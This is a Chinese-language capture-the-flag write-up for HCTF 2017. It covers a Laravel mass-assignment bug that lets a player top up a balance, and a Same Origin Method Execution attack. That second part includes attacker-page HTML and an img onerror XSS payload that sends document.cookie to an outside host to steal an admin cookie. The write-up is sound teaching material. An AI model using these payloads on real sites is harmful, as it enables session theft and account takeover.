Who are you?
進入界面,右上登錄,Steam 賬號授權。
然后進Home發現有infomation和shop。shop里可以買flag推測但顯示余額不足。
購買動作的URL為http://gogogo.2017.hctf.io/shop/3,修改3為4可以發現調試模式沒關,源碼泄露。
public function buy(Request $request)
{
$itemId = $request->route('id');
$item = Item::find($itemId);
$prize = $item->prize;
$balance = Info::find(Auth::id())->amount;
if ($balance >= $prize) {
return view('message', ['message' => $item->note]);
}
return view('message', ['message' => 'Sorry Sir! You don\'t have enough money']);
}
得知后端框架為 Laravel,賬戶余額字段名為amount。
infomation頁嘗試把表單中的name字段改成amount字段并提交,即可充值。
購買拿到flag:hctf{csgo_is_best_fps_game_dA3jf}。
推測沒有限定提交表單的參數,可以反推后端代碼可能為。
public function update(Request $request)
{
$user = Info::where('id', Auth::id())->update($request->all());
}
Laravel 使用update方法批量賦值時應在Model中聲明fillable白名單或者guard黑名單限制參數,或者使用$request->only()來限制。
Deserted place
Description
maybe nothing here
flag in admin cookie
Now Score 820.35
Team solved 3
出題思路來自于一個比較特別的叫做SOME的攻擊方式,全名Same Origin Method Execution,這是一種2015年被人提出來的攻擊方式,可以用來執行同源環境下的任意方法,2年前就有人做了分析。
原paper
http://blog.safedog.cn/?p=13
https://lightless.me/archives/same-origin-...
這里我就不討論具體的SOME攻擊,稍后我會在博客等地方更新具體的分析。
回到題目。
打開題目主要功能有限:
1、登陸
2、注冊
3、修改個人信息(修改個人信息后按回車更新自己的信息)、
4、獲取隨機一個人的信息,并把它的信息更新給我自己
簡單測試可以發現,個人信息頁面存在self-xss,但問題就在于怎么能更新admin的個人信息。
仔細回顧站內的各種信息,我們能發現所有的更新個人信息都是通過開啟子窗口來實現的。
edit.php里面有一個類似于jsonp的接口可以執行任意函數,簡單測試可以發現這里正則匹配了.\w+,這意味這我們只能執行已有的js函數,我們可以看看后臺的代碼。
$callback = $_GET['callback'];
preg_match("/\w+/i", $callback, $matches);
...
echo "<script>";
echo $matches[0]."();";
echo "</script>";
已有的函數一共有3個
function UpdateProfile(){
var username = document.getElementById('user').value;
var email = document.getElementById('email').value;
var message = document.getElementById('mess').value;
window.opener.document.getElementById("email").innerHTML="Email: "+email;
window.opener.document.getElementById("mess").innerHTML="Message: "+message;
console.log("Update user profile success...");
window.close();
}
function EditProfile(){
document.onkeydown=function(event){
if (event.keyCode == 13){
UpdateProfile();
}
}
}
function RandomProfile(){
setTimeout('UpdateProfile()', 1000);
}
如果執行UpdateProfile,站內就會把子窗口的內容發送到父窗口中。但是我們還是沒辦法控制修改的內容。
回顧站內邏輯,當我們點擊click me,首先請求/edit.php?callback=RandomProfile,然后跳轉至任意http://hctf.com/edit.php?callback=RandomPr...
然后頁面關閉并更新信息到當前用戶上,假設這里user是我們設定的還有惡意代碼的user,那我們就可以修改admin的信息了,但,怎么能讓admin打開這個頁面呢?
我們可以嘗試一個,如果直接打開edit.php?callback=RandomProfile&user=xiaoming
報錯了,不是通過open打開的頁面,尋找不到頁面內的window.opener對象,也就沒辦法做任何事。
這里我們只有通過SOME,才能操作同源下的父窗口,首先我們得熟悉同源策略,同源策略規定,只有同源下的頁面才能相互讀寫,如果通過windows.open打開的頁面是同源的,那么我們就可以通過window.opener對象來操作父子窗口。
而SOME就是基于這種特性,可以執行同源下的任意方法。
最終payload:
vps, 1.html
<script>
function start_some() {
window.open("2.html");
location.replace("http://desert.2017.hctf.io/user.php");
}
setTimeout(start_some(), 1000);
</script>
vps, 2.html
<script>
function attack() {
location.replace("http://desert.2017.hctf.io/edit.php?callback=RandomProfile&user=lorexxar");
}
setTimeout(attack, 2000);
</script>
getflag!
<img src=”" onerror=window.location.href=’http://0xb.pw?cookie='%2bdocument.cookie>
2017HCTF-Writeup